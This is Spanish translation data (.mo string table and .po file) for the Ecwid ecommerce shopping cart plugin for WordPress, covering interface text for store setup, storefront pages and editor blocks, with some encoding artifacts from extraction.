en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_UY.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." 